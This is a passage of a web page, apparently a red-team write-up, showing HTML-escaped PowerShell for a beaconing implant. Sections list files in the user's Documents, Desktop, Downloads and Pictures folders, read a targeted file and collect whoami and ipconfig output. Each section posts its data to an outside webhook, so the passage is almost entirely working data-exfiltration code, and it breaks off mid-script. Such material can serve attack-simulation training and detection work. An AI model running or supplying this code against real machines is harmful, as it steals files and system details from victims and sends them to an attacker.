    &lt;span class=&quot;token variable&quot;&gt;$jsonContent&lt;/span&gt; = &lt;span class=&quot;token function&quot;&gt;New-Object&lt;/span&gt; System&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Net&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Http&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;StringContent&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$json&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;[System.Text.Encoding]&lt;/span&gt;::UTF8&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;application/json&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token variable&quot;&gt;$content&lt;/span&gt; = &lt;span class=&quot;token function&quot;&gt;New-Object&lt;/span&gt; System&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Net&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Http&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;MultipartFormDataContent
    &lt;span class=&quot;token variable&quot;&gt;$content&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Add&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$jsonContent&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;payload_json&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token variable&quot;&gt;$response&lt;/span&gt; = &lt;span class=&quot;token variable&quot;&gt;$client&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;PostAsync&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$webhook&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$content&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Result
    &lt;span class=&quot;token function&quot;&gt;Write-Host&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Sent beacon at &lt;span class=&quot;token function&quot;&gt;$&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;Get-Date&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/span&gt;: &lt;span class=&quot;token function&quot;&gt;$&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$response&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;StatusCode&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;folder-listing&quot;&gt;Folder listing&lt;/h3&gt;
&lt;pre class=&quot;language-powershell&quot; data-language=&quot;powershell&quot;&gt;&lt;code class=&quot;language-powershell&quot;&gt;    &lt;span class=&quot;token comment&quot;&gt;# ─── 2. Folder Listing (every 2nd beacon) ──────────────────&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$counter&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; 2 &lt;span class=&quot;token operator&quot;&gt;-eq&lt;/span&gt; 0&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token variable&quot;&gt;$userDirs&lt;/span&gt; = @&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Documents&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Desktop&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Downloads&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Pictures&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token variable&quot;&gt;$folderListing&lt;/span&gt; = &lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;

        &lt;span class=&quot;token keyword&quot;&gt;foreach&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$dir&lt;/span&gt; in &lt;span class=&quot;token variable&quot;&gt;$userDirs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token variable&quot;&gt;$fullPath&lt;/span&gt; = &lt;span class=&quot;token function&quot;&gt;Join-Path&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$env&lt;/span&gt;:USERPROFILE &lt;span class=&quot;token variable&quot;&gt;$dir&lt;/span&gt;
            &lt;span class=&quot;token variable&quot;&gt;$files&lt;/span&gt; = &lt;span class=&quot;token function&quot;&gt;Get-ChildItem&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;Path &lt;span class=&quot;token variable&quot;&gt;$fullPath&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;ErrorAction SilentlyContinue &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;Select-Object&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;First 2
            &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$files&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;token variable&quot;&gt;$folderListing&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;`n&lt;span class=&quot;token variable&quot;&gt;$dir&lt;/span&gt;:`n&quot;&lt;/span&gt;
                &lt;span class=&quot;token variable&quot;&gt;$folderListing&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$files&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;ForEach-Object&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot; - &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$_&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Name &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-join&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;`n&quot;&lt;/span&gt;
            &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;token variable&quot;&gt;$escaped&lt;/span&gt; = &lt;span class=&quot;token variable&quot;&gt;$folderListing&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-replace&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;&quot;&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&apos;&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-replace&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;`r?`n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;\n&quot;&lt;/span&gt;
        &lt;span class=&quot;token variable&quot;&gt;$jsonFolders&lt;/span&gt; = &lt;span class=&quot;token string&quot;&gt;&apos;{&quot;content&quot;:&quot;:file_folder: **User Directories**\n━━━━━━━━━━━━━━━━━━\n```&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$escaped&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;```&quot;}&apos;&lt;/span&gt;
        &lt;span class=&quot;token variable&quot;&gt;$jsonContentFolders&lt;/span&gt; = &lt;span class=&quot;token function&quot;&gt;New-Object&lt;/span&gt; System&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Net&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Http&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;StringContent&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$jsonFolders&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;[System.Text.Encoding]&lt;/span&gt;::UTF8&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;application/json&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token variable&quot;&gt;$contentFolders&lt;/span&gt; = &lt;span class=&quot;token function&quot;&gt;New-Object&lt;/span&gt; System&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Net&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Http&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;MultipartFormDataContent
        &lt;span class=&quot;token variable&quot;&gt;$contentFolders&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Add&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$jsonContentFolders&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;payload_json&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token variable&quot;&gt;$respFolders&lt;/span&gt; = &lt;span class=&quot;token variable&quot;&gt;$client&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;PostAsync&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$webhook&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$contentFolders&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Result
        &lt;span class=&quot;token function&quot;&gt;Write-Host&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Uploaded folder listing at &lt;span class=&quot;token function&quot;&gt;$&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;Get-Date&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/span&gt;: &lt;span class=&quot;token function&quot;&gt;$&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$respFolders&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;StatusCode&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&quot;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;exfiltration-of-target-file&quot;&gt;Exfiltration of target file&lt;/h3&gt;
&lt;pre class=&quot;language-powershell&quot; data-language=&quot;powershell&quot;&gt;&lt;code class=&quot;language-powershell&quot;&gt;    &lt;span class=&quot;token comment&quot;&gt;# ─── 3. Exfil ptp-exfil.jpg (every 3rd beacon) ─────────────&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$counter&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; 3 &lt;span class=&quot;token operator&quot;&gt;-eq&lt;/span&gt; 0 &lt;span class=&quot;token operator&quot;&gt;-and&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;Test-Path&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$filePath&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token variable&quot;&gt;$fileBytes&lt;/span&gt; = &lt;span class=&quot;token namespace&quot;&gt;[System.IO.File]&lt;/span&gt;::ReadAllBytes&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$filePath&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token variable&quot;&gt;$fileContent&lt;/span&gt; = &lt;span class=&quot;token function&quot;&gt;New-Object&lt;/span&gt; System&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Net&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Http&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ByteArrayContent &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$fileBytes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token variable&quot;&gt;$fileContent&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Headers&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ContentType = &lt;span class=&quot;token namespace&quot;&gt;[System.Net.Http.Headers.MediaTypeHeaderValue]&lt;/span&gt;::Parse&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;application/octet-stream&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;token variable&quot;&gt;$jsonExfil&lt;/span&gt; = &lt;span class=&quot;token string&quot;&gt;&apos;{&quot;content&quot;:&quot;:package: **Targeted Exfil ::topsecret**\n━━━━━━━━━━━━━━━━━━&quot;}&apos;&lt;/span&gt;
        &lt;span class=&quot;token variable&quot;&gt;$jsonContentExfil&lt;/span&gt; = &lt;span class=&quot;token function&quot;&gt;New-Object&lt;/span&gt; System&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Net&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Http&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;StringContent&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$jsonExfil&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;[System.Text.Encoding]&lt;/span&gt;::UTF8&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;application/json&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token variable&quot;&gt;$contentExfil&lt;/span&gt; = &lt;span class=&quot;token function&quot;&gt;New-Object&lt;/span&gt; System&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Net&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Http&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;MultipartFormDataContent
        &lt;span class=&quot;token variable&quot;&gt;$contentExfil&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Add&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$jsonContentExfil&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;payload_json&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token variable&quot;&gt;$contentExfil&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Add&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$fileContent&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;file&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;ptp-exfil.jpg&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;token variable&quot;&gt;$respExfil&lt;/span&gt; = &lt;span class=&quot;token variable&quot;&gt;$client&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;PostAsync&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$webhook&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$contentExfil&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Result
        &lt;span class=&quot;token function&quot;&gt;Write-Host&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Uploaded ptp-exfil.jpg at &lt;span class=&quot;token function&quot;&gt;$&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;Get-Date&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/span&gt;: &lt;span class=&quot;token function&quot;&gt;$&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$respExfil&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;StatusCode&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&quot;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;system-uptime&quot;&gt;System uptime&lt;/h3&gt;
&lt;pre class=&quot;language-powershell&quot; data-language=&quot;powershell&quot;&gt;&lt;code class=&quot;language-powershell&quot;&gt;    &lt;span class=&quot;token comment&quot;&gt;# ─── 4. System Uptime (every 4th beacon) ───────────────────&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$counter&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; 4 &lt;span class=&quot;token operator&quot;&gt;-eq&lt;/span&gt; 0&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token variable&quot;&gt;$uptime&lt;/span&gt; = &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;Get-CimInstance&lt;/span&gt; Win32_OperatingSystem&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;LastBootUpTime
        &lt;span class=&quot;token variable&quot;&gt;$jsonUptime&lt;/span&gt; = &lt;span class=&quot;token string&quot;&gt;&apos;{&quot;content&quot;:&quot;:stopwatch: **System Uptime**\n━━━━━━━━━━━━━━━━━━\n```&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$uptime&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;```&quot;}&apos;&lt;/span&gt;
        &lt;span class=&quot;token variable&quot;&gt;$jsonContentUptime&lt;/span&gt; = &lt;span class=&quot;token function&quot;&gt;New-Object&lt;/span&gt; System&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Net&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Http&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;StringContent&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$jsonUptime&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;[System.Text.Encoding]&lt;/span&gt;::UTF8&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;application/json&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token variable&quot;&gt;$contentUptime&lt;/span&gt; = &lt;span class=&quot;token function&quot;&gt;New-Object&lt;/span&gt; System&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Net&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Http&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;MultipartFormDataContent
        &lt;span class=&quot;token variable&quot;&gt;$contentUptime&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Add&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$jsonContentUptime&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;payload_json&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token variable&quot;&gt;$respUptime&lt;/span&gt; = &lt;span class=&quot;token variable&quot;&gt;$client&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;PostAsync&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$webhook&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$contentUptime&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Result
        &lt;span class=&quot;token function&quot;&gt;Write-Host&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Uploaded uptime at &lt;span class=&quot;token function&quot;&gt;$&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;Get-Date&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/span&gt;: &lt;span class=&quot;token function&quot;&gt;$&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$respUptime&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;StatusCode&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&quot;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;recon-dump&quot;&gt;Recon dump&lt;/h3&gt;
&lt;pre class=&quot;language-powershell&quot; data-language=&quot;powershell&quot;&gt;&lt;code class=&quot;language-powershell&quot;&gt;    &lt;span class=&quot;token comment&quot;&gt;# ─── 5. Recon Dump (every 5th beacon) ──────────────────────&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$counter&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; 5 &lt;span class=&quot;token operator&quot;&gt;-eq&lt;/span&gt; 0&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token variable&quot;&gt;$whoami&lt;/span&gt; = whoami
        &lt;span class=&quot;token variable&quot;&gt;$ipconfig&lt;/span&gt; = ipconfig &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;Out-String&lt;/span&gt;
        &lt;span class=&quot;token variable&quot;&gt;$reconFile&lt;/span&gt; = &lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token variable&quot;&gt;$env&lt;/span&gt;:TEMP\recon.txt&quot;&lt;/span&gt;
        &lt;span class=&quot;token string&quot;&gt;&quot;whoami:: &lt;span class=&quot;token variable&quot;&gt;$whoami&lt;/span&gt;`r`nIPConfig::`r`n&lt;span class=&quot;token variable&quot;&gt;$ipconfig&lt;/span&gt;&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;Out-File&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;FilePath &lt;span class=&quot;token variable&quot;&gt;$reconFile&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;Encoding utf8

        &lt;span class=&quot;token variable&quot;&gt;$fileBytes&lt;/span&gt; = &lt;span class=&quot;token namespace&quot;&gt;[System.IO.File]&lt;/span&gt;::ReadAllBytes&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$reconFile&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token variable&quot;&gt;$fileContent&lt;/span&gt; = &lt;span class=&quot;token function&quot;&gt;New-Object&lt;/span&gt; System&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Net&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Http&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ByteArrayContent &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$fileBytes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token variable&quot;&gt;$fileContent&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Headers&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ContentType = &lt;span class=&quot;token namespace&quot;&gt;[System.Net.Http.Headers.MediaTypeHeaderValue]&lt;/span&gt;::Parse&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;text/plain&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;token variable&quot;&gt;$jsonRecon&lt;/span&gt; = &lt;span class=&quot;token string&quot;&gt;&apos;{&quot;content&quot;:&quot;:mag: **Recon Data Attached (whoami + ipconfig)**\n━━━━━━━━━━━━━━━━━━&quot;}&apos;&lt;/span&gt;
